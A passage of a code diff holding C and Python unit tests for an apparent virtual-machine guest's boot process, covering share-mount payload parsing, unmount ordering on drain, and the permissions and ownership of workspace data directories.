f_boot_id(void *c, char out[37]) { (void)c; strcpy(out, "66666666-6666-4666-8666-666666666666"); return 0; } +static int f_read_device(void *c, uint64_t *device) { (void)c; *device = 2049; return 0; } +static int f_start_supervisor(void *c, const char *config, size_t len, int flags) { (void)config; (void)len; (void)flags; ev(c, "start-supervisor"); return 0; } +static int f_mount_shares(void *c, const struct wg_share_set *set, unsigned *mounted) { + struct fake *f = c; + f->seen = *set; + ev(c, "mount-shares:%u", set->count); + *mounted = f->shares_mask == ~0u ? (1u << set->count) - 1u : f->shares_mask; + return f->shares_result; +} +static int f_umount_share(void *c, const char *guest_path) { + struct fake *f = c; + ev(c, "umount-share:%s", guest_path); + return f->stuck_share && strcmp(f->stuck_share, guest_path) == 0 ? -1 : 0; +} +static void f_stop_helper(void *c, long long d) { (void)c; (void)d; } +static void f_stop_supervisor(void *c, long long d) { (void)c; (void)d; } +static void f_kill_all(void *c) { (void)c; } +static void f_sync(void *c) { (void)c; } +static int f_flush(void *c, unsigned v) { (void)c; (void)v; return 0; } +static void f_power_off(void *c) { ev(c, "power-off"); } + +static struct wg_boot_ops ops_for(struct fake *f) { + struct wg_boot_ops ops = { .ctx = f, .now_ms = f_now, .pause_ms = f_pause, .log = f_log, .to_relay = f_to_relay, .to_helper = f_to_helper, + .wait_flushed = f_wait_flushed, .replay = f_replay, .mount_volumes = f_mount, .umount = f_umount, .verify_unmounted = f_verify, + .prepare_conversation_dirs = f_prepare_dirs, .read_runtime_artifacts = f_read_artifacts, .read_base_config = f_read_base, .read_boot_id = f_boot_id, + .read_data_device = f_read_device, .mount_shares = f_mount_shares, .umount_share = f_umount_share, .start_supervisor = f_start_supervisor, + .stop_helper = f_stop_helper, .stop_supervisor = f_stop_supervisor, .kill_all = f_kill_all, .sync_all = f_sync, .flush_devices = f_flush, .power_off = f_power_off }; + return ops; +} +static void fresh(struct fake *f) { memset(f, 0, sizeof *f); f->shares_result = WG_SHARES_MOUNTED; f->shares_mask = ~0u; } + +static const char READY_MESSAGE[] = "{\"v\":1,\"t\":\"ready\",\"operationId\":\"filesystem_55555555-5555-4555-8555-555555555555\",\"nonce\":\"" NONCE "\"}"; +static const char MOUNT_PAYLOAD[] = UUID_DATA " " UUID_ENV; +static void to_mounted_without_done(struct wg_boot *boot) { + wg_boot_relay_message(boot, CTL_BOOTSTRAP_DOWN, (const uint8_t *)READY_MESSAGE, sizeof READY_MESSAGE - 1); + wg_boot_helper_message(boot, CTL_HELPER_MOUNT, (const uint8_t *)MOUNT_PAYLOAD, 73); +} +static void to_mounted(struct wg_boot *boot) { + to_mounted_without_done(boot); + wg_boot_helper_message(boot, CTL_HELPER_DONE, NULL, 0); +} + +/* ------------------------------------------------------------------------------------------------ payloads */ + +struct item { unsigned kind, flags; const char *tag, *path; }; +static size_t share_payload(uint8_t *out, const struct item *items, unsigned count) { + size_t at = 0; + out[at++] = (uint8_t)count; + for (unsigned i = 0; i < count; i++) { + out[at++] = (uint8_t)items[i].kind; out[at++] = (uint8_t)items[i].flags; + out[at++] = (uint8_t)strlen(items[i].tag); memcpy(out + at, items[i].tag, strlen(items[i].tag)); at += strlen(items[i].tag); + out[at++] = (uint8_t)strlen(items[i].path); memcpy(out + at, items[i].path, strlen(items[i].path)); at += strlen(items[i].path); + } + return at; +} +static const struct item FOUR[4] = { + { WG_SHARE_FOLDER, 0, "src-0", "/workspace/folders/notes" }, { WG_SHARE_GUIDANCE, 1, "winter-guidance", "/run/winter/shared-instructions" }, + { WG_SHARE_MEMORY, 0, "winter-memory", "/workspace/.winter/memory" }, { WG_SHARE_OUTPUTS, 0, "winter-outputs", "/workspace/outputs" }, +}; +/* The parser on exactly `n` bytes of `bytes`, in a heap block of exactly that size: a read past the payload is an address-sanitizer error, never a lucky byte. */ +static int parses_exactly(const uint8_t *bytes, size_t n) { + uint8_t *exact = malloc(n ? n : 1); + memcpy(exact, bytes, n); + static struct wg_share_set set; + int rc = wg_parse_share_payload(exact, n, &set); + free(exact); + return rc; +} +static int parses(const struct item *items, unsigned count) { + uint8_t scratch[4096]; + size_t n = share_payload(scratch, items, count); + uint8_t *exact = malloc(n); /* exactly n bytes: a read past the end is an address-sanitizer error */ + memcpy(exact, scratch, n); + static struct wg_share_set set; + int rc = wg_parse_share_payload(exact, n, &set); + free(exact); + return rc; +} +static void send_shares(struct wg_boot *boot, const struct item *items, unsigned count) { + uint8_t payload[4096]; + size_t n = share_payload(payload, items, count); + wg_boot_helper_message(boot, CTL_HELPER_SHARES, payload, n); +} +#define ITEMS "[{\"logicalSessionId\":\"s1\"}]" +static void send_conversations(struct wg_boot *boot) { + /* the plain payload: one host-query conversation, no file channel */ + uint8_t payload[256]; + size_t at = 0; + payload[at++] = 1; payload[at++] = 1; + payload[at++] = 0x21; payload[at++] = 0x4e; payload[at++] = 0; payload[at++] = 0; /* runtime uid 20001 */ + payload[at++] = 2; payload[at++] = 's'; payload[at++] = '1'; + memcpy(payload + at, ITEMS, strlen(ITEMS)); at += strlen(ITEMS); + wg_boot_helper_message(boot, CTL_HELPER_CONVERSATIONS, payload, at); +} +static void drain(struct wg_boot *boot) { + uint8_t payload[CTL_DRAIN_PAYLOAD_BYTES]; + memcpy(payload, NONCE, 32); + payload[32] = 0x10; payload[33] = 0x27; payload[34] = 0; payload[35] = 0; payload[36] = 0; + wg_boot_relay_message(boot, CTL_DRAIN, payload, sizeof payload); +} + +static void test_the_payload_carries_every_share_with_its_kind_mode_tag_and_path(void) { + uint8_t payload[4096]; + size_t n = share_payload(payload, FOUR, 4); + static struct wg_share_set set; + CHECK(wg_parse_share_payload(payload, n, &set) == 0 && set.count == 4); + CHECK(set.item[0].kind == WG_SHARE_FOLDER && !set.item[0].read_only && strcmp(set.item[0].tag, "src-0") == 0 && strcmp(set.item[0].guest_path, "/workspace/folders/notes") == 0); + CHECK(set.item[1].kind == WG_SHARE_GUIDANCE && set.item[1].read_only && strcmp(set.item[1].guest_path, "/run/winter/shared-instructions") == 0); + CHECK(set.item[3].kind == WG_SHARE_OUTPUTS && !set.item[3].read_only); + struct item ro_folder = { WG_SHARE_FOLDER, 1, "src-1", "/workspace/folders/photos" }; + CHECK(parses(&ro_folder, 1) == 0); /* a folder is read-only or read-write as its grant says */ + for (unsigned cut = 0; cut < n; cut++) CHECK(parses_exactly(payload, cut) != 0); /* every truncation, each in a block of exactly its own size */ + /* a path length that claims more than the payload still holds (the payload ends inside the last path) */ + struct item one = { WG_SHARE_FOLDER, 0, "src-0", "/workspace/folders/notes" }; + uint8_t single[256]; + size_t m = share_payload(single, &one, 1); + single[m - strlen(one.path) - 1] = (uint8_t)(strlen(one.path) + 1); + CHECK(parses_exactly(single, m) != 0); + payload[n] = 0; + CHECK(wg_parse_share_payload(payload, n + 1, &set) != 0); /* a byte after the last share */ +} + +static void test_every_departure_from_the_contracts_share_rules_is_refused(void) { + struct item s[13]; + memcpy(s, FOUR, sizeof FOUR); + s[1].flags = 0; CHECK(parses(s, 4) != 0); /* guidance writable */ + memcpy(s, FOUR, sizeof FOUR); s[2].flags = 1; CHECK(parses(s, 4) != 0); /* memory read-only */ + memcpy(s, FOUR, sizeof FOUR); s[3].flags = 1; CHECK(parses(s, 4) != 0); /* outputs read-only */ + memcpy(s, FOUR, sizeof FOUR); s[0].flags = 2; CHECK(parses(s, 4) != 0); /* an unknown flag */ + memcpy(s, FOUR, sizeof FOUR); s[0].kind = 4; CHECK(parses(s, 4) != 0); /* an unknown kind */ + memcpy(s, FOUR, sizeof FOUR); s[3].path = "/workspace/output"; CHECK(parses(s, 4) != 0); + memcpy(s, FOUR, sizeof FOUR); s[2].path = "/workspace/.winter/memory/x"; CHECK(parses(s, 4) != 0); + memcpy(s, FOUR, sizeof FOUR); s[1].path = "/run/winter/shared-instructions/"; CHECK(parses(s, 4) != 0); + memcpy(s, FOUR, sizeof FOUR); s[1].tag = "src-0"; CHECK(parses(s, 4) != 0); /* a repeated tag */ + memcpy(s, FOUR, sizeof FOUR); s[2].kind = WG_SHARE_FOLDER; s[2].path = "/workspace/folders/notes"; CHECK(parses(s, 4) != 0); /* a repeated path */ + memcpy(s, FOUR, sizeof FOUR); s[3] = s[2]; s[3].tag = "winter-memory-2"; s[3].path = "/workspace/.winter/memory"; CHECK(parses(s, 4) != 0); /* two memory shares */ + const char *bad_folders[] = { "/workspace/folders/", "/workspace/folders/a/b", "/workspace/folders/.x", "/workspace/folders/_x", "/workspace/folders/..", + "/workspace/folders/a b", "/workspace/repos/a", "/workspace/foldersx", "/workspace/folders/\xc3\xa9" }; + for (unsigned i = 0; i < sizeof bad_folders / sizeof bad_folders[0]; i++) { memcpy(s, FOUR, sizeof FOUR); s[0].path = bad_folders[i]; CHECK(parses(s, 4) != 0); } + char long_name[200]; + snprintf(long_name, sizeof long_name, "/workspace/folders/a%0127d", 0); /* 128 characters: the longest name */ + memcpy(s, FOUR, sizeof FOUR); s[0].path = long_name; CHECK(parses(s, 4) == 0); + snprintf(long_name, sizeof long_name, "/workspace/folders/a%0128d", 0); /* 129 */ + CHECK(parses(s, 4) != 0); + const char *bad_tags[] = { "", "Src-0", "src_0", "src.0", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" }; + for (unsigned i = 0; i < sizeof bad_tags / sizeof bad_tags[0]; i++) { memcpy(s, FOUR, sizeof FOUR); s[0].tag = bad_tags[i]; CHECK(parses(s, 4) != 0); } + memcpy(s, FOUR, sizeof FOUR); s[0].tag = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; CHECK(parses(s, 4) == 0); /* 32 */ + /* at most nine folders, at most twelve shares, at least one */ + static char tags[12][8], paths[12][40]; + for (unsigned i = 0; i < 10; i++) { + snprintf(tags[i], sizeof tags[i], "src-%u", i); snprintf(paths[i], sizeof paths[i], "/workspace/folders/f%u", i); + s[i].kind = WG_SHARE_FOLDER; s[i].flags = 0; s[i].tag = tags[i]; s[i].path = paths[i]; + } + CHECK(parses(s, 9) == 0); + CHECK(parses(s, 10) != 0); + memcpy(s + 9, FOUR + 1, 3 * sizeof FOUR[0]); + CHECK(parses(s, 12) == 0); + uint8_t payload[4096]; + size_t n = share_payload(payload, s, 12); + payload[0] = 13; + static struct wg_share_set set; + CHECK(wg_parse_share_payload(payload, n, &set) != 0); + uint8_t none[1] = { 0 }; + CHECK(wg_parse_share_payload(none, 1, &set) != 0); +} + +/* ------------------------------------------------------------------------------------------------ when 'S' is accepted, and what follows */ + +static void test_a_mounted_set_is_answered_yes_and_the_conversation_set_starts_after_it(void) { + struct fake f; fresh(&f); + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + to_mounted(&boot); + send_shares(&boot, FOUR, 4); + CHECK(has(&f, "mount-shares:4") && has(&f, "helper:s:0")); + CHECK(f.seen.count == 4 && strcmp(f.seen.item[2].guest_path, "/workspace/.winter/memory") == 0); + send_conversations(&boot); + CHECK(has(&f, "start-supervisor") && index_of(&f, "helper:s:0") < index_of(&f, "start-supervisor")); + CHECK(!has(&f, "power-off")); +} + +static void test_the_share_step_is_accepted_only_after_the_mount_and_before_any_set_and_only_once(void) { + struct fake f; fresh(&f); + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + to_mounted_without_done(&boot); /* the volumes are mounted, but the helper has not said 'E' */ + send_shares(&boot, FOUR, 4); + CHECK(has(&f, "log:shares-out-of-order") && !has(&f, "mount-shares:4")); + struct fake g; fresh(&g); + struct wg_boot_ops gops = ops_for(&g); + struct wg_boot gboot; wg_boot_init(&gboot, &gops); + send_shares(&gboot, FOUR, 4); /* before anything is mounted */ + CHECK(has(&g, "log:shares-out-of-order") && !has(&g, "mount-shares:4")); + struct fake h; fresh(&h); + struct wg_boot_ops hops = ops_for(&h); + struct wg_boot hboot; wg_boot_init(&hboot, &hops); + to_mounted(&hboot); + send_conversations(&hboot); + send_shares(&hboot, FOUR, 4); /* after the set */ + CHECK(has(&h, "log:shares-out-of-order") && !has(&h, "mount-shares:4")); + struct fake k; fresh(&k); + struct wg_boot_ops kops = ops_for(&k); + struct wg_boot kboot; wg_boot_init(&kboot, &kops); + to_mounted(&kboot); + send_shares(&kboot, FOUR, 4); + send_shares(&kboot, FOUR, 4); /* a second step */ + CHECK(count_of(&k, "mount-shares:") == 1 && has(&k, "log:shares-out-of-order")); +} + +static void test_a_failed_step_is_answered_with_its_fault_and_no_set_may_follow(void) { + int results[3] = { WG_SHARES_INVENTORY, WG_SHARES_MOUNT_FAILED, 9 }; + const char *answers[3] = { "helper:s:1", "helper:s:2", "helper:s:2" }; + for (int i = 0; i < 3; i++) { + struct fake f; fresh(&f); + f.shares_result = results[i]; + f.shares_mask = 0; + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + to_mounted(&boot); + send_shares(&boot, FOUR, 4); + CHECK(has(&f, answers[i])); + send_conversations(&boot); + CHECK(has(&f, "log:conversations-after-failed-shares") && !has(&f, "start-supervisor")); + } +} + +static void test_a_yes_that_does_not_cover_every_share_is_a_failure(void) { + struct fake f; fresh(&f); + f.shares_mask = 0x7; /* three of four */ + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + to_mounted(&boot); + send_shares(&boot, FOUR, 4); + CHECK(has(&f, "helper:s:2") && !has(&f, "helper:s:0")); + send_conversations(&boot); + CHECK(!has(&f, "start-supervisor")); +} + +static void test_a_payload_pid_1_refuses_mounts_nothing(void) { + struct fake f; fresh(&f); + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + to_mounted(&boot); + struct item s[4]; + memcpy(s, FOUR, sizeof FOUR); + s[1].flags = 0; /* guidance writable */ + send_shares(&boot, s, 4); + CHECK(has(&f, "helper:s:2") && !has(&f, "mount-shares:4") && has(&f, "log:shares-payload")); + send_conversations(&boot); + CHECK(!has(&f, "start-supervisor")); +} + +/* ------------------------------------------------------------------------------------------------ the drain */ + +static void test_the_drain_unmounts_the_shares_last_first_and_before_the_data_volume(void) { + struct fake f; fresh(&f); + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + to_mounted(&boot); + send_shares(&boot, FOUR, 4); + send_conversations(&boot); + wg_boot_supervisor_ready(&boot); + drain(&boot); + int outputs = index_of(&f, "umount-share:/workspace/outputs"), memory = index_of(&f, "umount-share:/workspace/.winter/memory"); + int guidance = index_of(&f, "umount-share:/run/winter/shared-instructions"), folder = index_of(&f, "umount-share:/workspace/folders/notes"); + int data = index_of(&f, "umount-volume:0"); + CHECK(outputs >= 0 && outputs < memory && memory < guidance && guidance < folder && folder < data); + CHECK(has(&f, "relay:H:32") && count_of(&f, "umount-share:") == 4); +} + +static void test_a_share_that_stays_mounted_withholds_halting_and_the_data_volume_is_never_unmounted_under_it(void) { + struct fake f; fresh(&f); + f.stuck_share = "/workspace/.winter/memory"; + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + to_mounted(&boot); + send_shares(&boot, FOUR, 4); + drain(&boot); + CHECK(!has(&f, "relay:H:32") && !has(&f, "umount-volume:0")); + CHECK(has(&f, "relay:X:33")); /* the fault after the drain_ack, with the drain's nonce */ + CHECK(count_of(&f, "umount-share:/workspace/outputs") == 1); /* what came off stays off */ +} + +static void test_what_a_failed_step_left_mounted_is_unmounted_by_the_drain(void) { + struct fake f; fresh(&f); + f.shares_result = WG_SHARES_MOUNT_FAILED; + f.shares_mask = 0x2; /* the guidance share's rollback unmount did not succeed */ + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + to_mounted(&boot); + send_shares(&boot, FOUR, 4); + drain(&boot); + CHECK(count_of(&f, "umount-share:") == 1 && has(&f, "umount-share:/run/winter/shared-instructions")); + CHECK(index_of(&f, "umount-share:/run/winter/shared-instructions") < index_of(&f, "umount-volume:0") && has(&f, "relay:H:32")); +} + +static void test_without_a_share_set_nothing_changes(void) { + struct fake f; fresh(&f); + struct wg_boot_ops ops = ops_for(&f); + struct wg_boot boot; wg_boot_init(&boot, &ops); + to_mounted(&boot); + send_conversations(&boot); + wg_boot_supervisor_ready(&boot); + drain(&boot); + CHECK(has(&f, "start-supervisor") && count_of(&f, "umount-share:") == 0 && !has(&f, "mount-shares:4") && has(&f, "umount-volume:0") && has(&f, "relay:H:32")); +} + +#define RUN(fn) do { current_name = #fn; current_failed = 0; fn(); if (current_failed) failures++; else printf("PASS %s\n", #fn); } while (0) + +int main(void) { + RUN(test_the_payload_carries_every_share_with_its_kind_mode_tag_and_path); + RUN(test_every_departure_from_the_contracts_share_rules_is_refused); + RUN(test_a_mounted_set_is_answered_yes_and_the_conversation_set_starts_after_it); + RUN(test_the_share_step_is_accepted_only_after_the_mount_and_before_any_set_and_only_once); + RUN(test_a_failed_step_is_answered_with_its_fault_and_no_set_may_follow); + RUN(test_a_yes_that_does_not_cover_every_share_is_a_failure); + RUN(test_a_payload_pid_1_refuses_mounts_nothing); + RUN(test_the_drain_unmounts_the_shares_last_first_and_before_the_data_volume); + RUN(test_a_share_that_stays_mounted_withholds_halting_and_the_data_volume_is_never_unmounted_under_it); + RUN(test_what_a_failed_step_left_mounted_is_unmounted_by_the_drain); + RUN(test_without_a_share_set_nothing_changes); + return failures ? 1 : 0; +} diff --git a/apple/Cowork/WinterCoworkGuest/tests/test_filechannel.py b/apple/Cowork/WinterCoworkGuest/tests/test_filechannel.py new file mode 100644 index 000000000..bbd5dc9aa --- /dev/null +++ b/apple/Cowork/WinterCoworkGuest/tests/test_filechannel.py @@ -0,0 +1,487 @@ +"""Native tests of the guest's file-channel pieces that need no VM and no root (everything here is compiled with WG_FILE_CHANNEL_V1, the flag of an image that declares +`file-channel-v1`; the production programs are built without it, and test_hygiene.py / test_mutants.py hold that): PID 1's decisions about the extended 'C' payload, the config's +`fileChannel` member and the relay's go byte (test_boot_filechannel.c), and the data-volume roots PID 1 creates for the supervisor's file service (dataroots.c).""" +import json +import os +import re +import shutil +import stat +import subprocess +import tempfile +import unittest +from pathlib import Path + +from test_native import CC, ROOT, build + +import sys +sys.path.insert(0, str(ROOT / "bootstrap")) +import guest_bootstrap as gb # noqa: E402 + +HERE = Path(__file__).resolve().parent +INIT = ROOT / "init" +FLAG = ["-DWG_FILE_CHANNEL_V1"] + + +@unittest.skipUnless(CC, "no C compiler") +class BootFileChannelTests(unittest.TestCase): + def test_every_native_case_passes(self): + folder = Path(tempfile.mkdtemp(prefix="guest-boot-fc-")) + self.addCleanup(shutil.rmtree, folder, ignore_errors=True) + binary = build([HERE / "test_boot_filechannel.c", INIT / "boot.c", INIT / "mounts.c", INIT / "ext4sb.c", INIT / "trusted_config.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c"], + folder / "test_boot_filechannel", extra=FLAG) + result = subprocess.run([str(binary)], capture_output=True, text=True, timeout=120) + failed = [line for line in result.stdout.splitlines() if line.startswith("FAIL") or line.startswith(" ")] + self.assertEqual(failed, [], result.stdout + result.stderr) + self.assertEqual(result.returncode, 0, result.stdout + result.stderr) + self.assertEqual(len(re.findall(r"^PASS ", result.stdout, flags=re.M)), 8) + + def test_the_plain_build_does_not_know_the_extension(self): + """Without the flag the payload parser is the old one: bit 7 of the profile byte is simply an invalid profile.""" + folder = Path(tempfile.mkdtemp(prefix="guest-boot-plain-")) + self.addCleanup(shutil.rmtree, folder, ignore_errors=True) + source = folder / "probe.c" + source.write_text('#include "%s/boot.h"\n#include \nint main(void){ static struct wg_conversation_set s; const unsigned char p[] = {0x81,1,0xE9,0x4E,0,0,2,\'s\',\'1\',0,0,0,0,0x31,0x75,0,0,1,19,' + '\'/\',\'w\',\'o\',\'r\',\'k\',\'s\',\'p\',\'a\',\'c\',\'e\',\'/\',\'r\',\'e\',\'p\',\'o\',\'s\',\'/\',\'r\',\'1\',\'[\',\']\'}; printf("%%d\\n", wg_parse_conversation_payload(p, sizeof p, &s)); return 0; }\n' % INIT) + binary = build([source, INIT / "boot.c", INIT / "mounts.c", INIT / "ext4sb.c", INIT / "trusted_config.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c"], folder / "probe") + self.assertEqual(subprocess.run([str(binary)], capture_output=True, text=True).stdout.strip(), "-1") + + +@unittest.skipUnless(CC, "no C compiler") +class HelperToPid1Tests(unittest.TestCase): + """The helper's extended 'C' payload (Python, revision 3) against the gated `wg_parse_conversation_payload` (C), on the contract's own conversation vectors.""" + + @classmethod + def setUpClass(cls): + cls.folder = Path(tempfile.mkdtemp(prefix="guest-payload-")) + cls.tool = build([HERE / "payload_tool.c", INIT / "boot.c", INIT / "mounts.c", INIT / "ext4sb.c", INIT / "trusted_config.c", ROOT / "common/wmx.c", ROOT / "common/ctl.c"], + cls.folder / "tool", extra=FLAG) + + @classmethod + def tearDownClass(cls): + shutil.rmtree(cls.folder, ignore_errors=True) + + def test_what_the_helper_sends_is_what_pid_1_reads(self): + vectors = json.loads((ROOT / "vectors/mux-frames.json").read_text())["positive"] + names = [v["name"] for v in vectors if v["name"].startswith("bootstrap-down-conversations")] + self.assertGreaterEqual(len(names), 6) + seen_browse = False + for name in names: + with self.subTest(name): + gb.set_revision_three(True) + self.addCleanup(gb.set_revision_three, False) + message = gb.parse_bootstrap_message(next(bytes.fromhex(v["hex"])[16:] for v in vectors if v["name"] == name), "down") + payload = gb.conversations_payload(message) + out = subprocess.run([str(self.tool), payload.hex()], capture_output=True, text=True, timeout=60).stdout.strip() + profile, browse, count, conversations, items = out.split("|", 4) + self.assertEqual(profile, str({None: 0, "host-query-v1": 1, "host-query-guided-v1": 2}[message["profile"]])) + self.assertEqual(int(browse), message["browseUid"] or 0) + seen_browse |= message["browseUid"] is not None + self.assertEqual(int(count), len(message["conversations"])) + expected = ";".join("%s:%d:%d:%d:%s" % (c["logicalSessionId"], c["runtimeUid"], c["toolUid"], c["workspaceGid"], ",".join(r["source"] for r in c["roots"])) for c in message["conversations"]) + self.assertEqual(conversations, expected) + self.assertEqual(json.loads(items), gb.supervisor_items(message)) + self.assertTrue(seen_browse) + + def test_the_roots_sent_are_the_sources_not_the_views(self): + vectors = json.loads((ROOT / "vectors/mux-frames.json").read_text())["positive"] + gb.set_revision_three(True) + self.addCleanup(gb.set_revision_three, False) + message = gb.parse_bootstrap_message(next(bytes.fromhex(v["hex"])[16:] for v in vectors if v["name"] == "bootstrap-down-conversations-browse-uid"), "down") + message["conversations"][0]["roots"] = [dict(message["conversations"][0]["roots"][0], source="/workspace/repos/the-source")] + out = subprocess.run([str(self.tool), gb.conversations_payload(message).hex()], capture_output=True, text=True, timeout=60).stdout.strip() + self.assertIn(":/workspace/repos/the-source|", out) + + +@unittest.skipUnless(CC, "no C compiler") +class DataRootTests(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.folder = Path(tempfile.mkdtemp(prefix="guest-dataroots-")) + cls.tool = build([HERE / "dataroots_tool.c", INIT / "dataroots.c"], cls.folder / "tool", extra=[*FLAG, "-Dfchmod=wg_tool_fchmod"]) + + @classmethod + def tearDownClass(cls): + shutil.rmtree(cls.folder, ignore_errors=True) + + def setUp(self): + self.dir = Path(tempfile.mkdtemp(prefix="guest-workspace-")) + self.addCleanup(shutil.rmtree, self.dir, ignore_errors=True) + self.gid = os.getgid() + for sub in ("repos", "folders", "outputs", ".winter", ".winter/scratch", ".winter/memory"): + (self.dir / sub).mkdir(parents=True, exist_ok=True) + os.chmod(self.dir / sub, 0o711) + + def run_tool(self, *args): + result = subprocess.run([str(self.tool), "dataroots", str(self.dir), *map(str, args)], capture_output=True, text=True, timeout=60) + self.assertEqual(result.returncode, 0, result.stderr) + return result.stdout.strip() + + def mode_of(self, relative): + return stat.S_IMODE((self.dir / relative).stat().st_mode) + + def test_a_root_is_created_owned_in_the_workspace_group_with_the_setgid_bit(self): + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/r1", "/workspace/repos/docs", "/workspace/.winter/scratch/s1"), "0") + for relative in ("repos/r1", "repos/docs", ".winter/scratch/s1"): + st = (self.dir / relative).stat() + self.assertEqual((self.mode_of(relative), st.st_uid, st.st_gid), (0o2770, os.getuid(), self.gid), relative) + self.assertEqual(self.mode_of("repos"), 0o711) # the directories above a root are not touched + + def test_intermediate_directories_are_created_traversable_and_not_listable(self): + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/a/b/c"), "0") + self.assertEqual((self.mode_of("repos/a"), self.mode_of("repos/a/b"), self.mode_of("repos/a/b/c")), (0o711, 0o711, 0o2770)) + + def test_running_it_again_changes_nothing_and_repairs_a_wrong_mode(self): + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/r1"), "0") + os.chmod(self.dir / "repos/r1", 0o755) + self.assertEqual(self.run_tool(self.gid, "/workspace/repos/r1"), "0") + self.assertEqual(self.mode_of("repos/r1"), 0o2770) + + def test_the_share_mount_points_are_not_data_volume_roots(self): + for source in ("/workspace/outputs", "/workspace/outputs/s1", "/workspace/.winter/memory", "/workspace/.winter/memory/x"): + self.assertTrue(self.run_tool(self.gid, source) == "0", source) + self.assertEqual(self.mode_of("outputs"), 0o711) + self.assertEqual(self.mode_of(".winter/memory"), 0o711) + self.assertFalse((self.dir / "outputs/s1").exists() or (self.dir / ".winter/memory/x").exists()) + # a sibling whose name merely starts the same way is a data root + self.assertEqual(self.run_tool(self.gid, "/workspace/outputs-extra", "/workspace/.winter/memory2"), "0") + self.assertEqual((self.mode_of("outputs-extra"), self.mode_of(".winter/memory2")), (0o2770, 0o2770)) + + def test_intermediate_directories_are_0711_even_under_the_umask_pid_1_runs_with(self): + result = subprocess.run(["/bin/sh", "-c", 'umask 077; exec "$0" dataroots "$1" "$2" /workspace/repos/u/v/w', str(self.tool), str(self.dir), str(self.gid)], capture_output=True, text=True, timeout=60) + self.assertEqual(result.stdout.strip(), "0", result.stderr) + self.assertEqual((self.mode_of("repos/u"), self.mode_of("repos/u/v"), self.mode_of("repos/u/v/w")), (0o711, 0o711, 0o2770)) + os.chmod(self.dir / "repos/u", 0o700) # a parent a past boot left 0700 is repaired, not trusted + result = subprocess.run(["/bin/sh", "-c", 'umask 077; exec "$0" dataroots "$1" "$2" /workspace/repos/u/v/w', str(self.tool), str(self.dir), str(self.gid)], capture_output=True, text=True, timeout=60) + self.assertEqual((result.stdout.strip(), self.mode_of("repos/u")), ("0", 0o711)) + + def test_nothing_under_workspace_folders_is_a_data_root_so_a_host_share_mount_is_never_chowned_or_chmodded(self): + self.assertEqual(self.run_tool(self.gid, "/workspace/folders", "/workspace/folders/docs", "/workspace/folders/a/b"), "0") + self.assertEqual(self.mode_of("folders"), 0o711) + self.assertFalse((self.dir / "folders/docs").exists() or (self.dir / "folders/a").exists()) + self.assertEqual(self.run_tool(self.gid, "/workspace/folders-x"), "0") # a sibling that merely starts the same way is a root + self.assertEqual(self.mode_of("folders-x"), 0o2770) + + def chown_requests(self): + log = self.dir.parent / (self.dir.name + ".chown-log") + log.unlink(missing_ok=True) + self.addCleanup(lambda: log.unlink(missing_ok=True)) + return log + + def run_env(self, *args, **env): + result = subprocess.run([str(self.tool), "dataroots", str(self.dir), *map(str, args)], capture_output=True, text=True, timeout=60, env=dict(os.environ, **{k: str(v) for k, v in env.items()})) + self.assertEqual(result.returncode, 0, result.stderr) + return result.stdout.strip() + + def foreign_id(self): + return 1 if os.geteuid() == 0 else 0 # an owner id that is not this user's + + def test_the_plan_view_has_root_parents_and_an_epoch_that_belongs_to_the_conversations_tool_uid_alone(self): + log = self.chown_requests() + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/5", DATAROOTS_LOG=log), "0") + # (this user stands for root: what was asked of fchown is in the log, what the file system keeps is the user's own) + self.assertEqual((self.mode_of("plan"), self.mode_of("plan/conv-0001"), self.mode_of("plan/conv-0001/5")), (0o711, 0o711, 0o700)) + me = "%d:%d" % (os.getuid(), os.getgid()) + self.assertEqual(log.read_text().split(), [me, me, "41001:41001"]) # /workspace/plan and the folder of the id: root's; the epoch: the tool uid, group = the same id + self.assertNotIn("41001:%d" % self.gid, log.read_text()) # never the workspace group, which other conversations may share + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/5", DATAROOTS_LOG=log), "0") # idempotent + self.assertEqual(sorted(p.name for p in (self.dir / "plan/conv-0001").iterdir()), ["5"]) + # the second conversation of a set gets its own folder under its own id, owned by ITS tool uid + log.unlink() + self.assertEqual(self.run_env(self.gid, "/workspace/plan/conv-0001/6", "--", self.gid, "/workspace/plan/conv-0002/0", DATAROOTS_LOG=log), "0") + self.assertTrue((self.dir / "plan/conv-0002/0").is_dir()) + self.assertEqual([line for line in log.read_text().split() if line.startswith("41")], ["41001:41001", "41002:41002"]) + + def test_a_sibling_conversations_uid_has_no_access_to_a_plan_view(self): + """The bits: the epoch is owner-only (no group, no other, no setgid) and the folders above it are 0711 root's, so neither the workspace group nor another conversation's tool uid + (nor its private group) gets in, and nobody but root can add or remove an epoch. With root (the CI's sudo step) it is tried for real with the tool uids.""" + self.assertEqual(self.run_tool(self.gid, "/workspace/plan/conv-0001/5", "--", self.gid, "/workspace/plan/conv-0002/3"), "0") + for relative in ("plan/conv-0001/5", "plan/conv-0002/3"): + self.assertEqual(self.mode_of(relative) & 0o7077, 0, relative) + for relative in ("plan", "plan/conv-0001", "plan/conv-0002"): + self.assertEqual(self.mode_of(relative), 0o711, relative) + if os.geteuid() != 0: + if os.environ.get("WG_REQUIRE_ROOT"): + self.fail("WG_REQUIRE_ROOT is set but this is not root: the identity half would silently not run") + self.skipTest("the real-identity half needs root (cowork-guest-boot.yml runs it with sudo)") + shared = 42000 # the workspace group both conversations share: not root's group, and not either tool uid's + # a workspace the tool 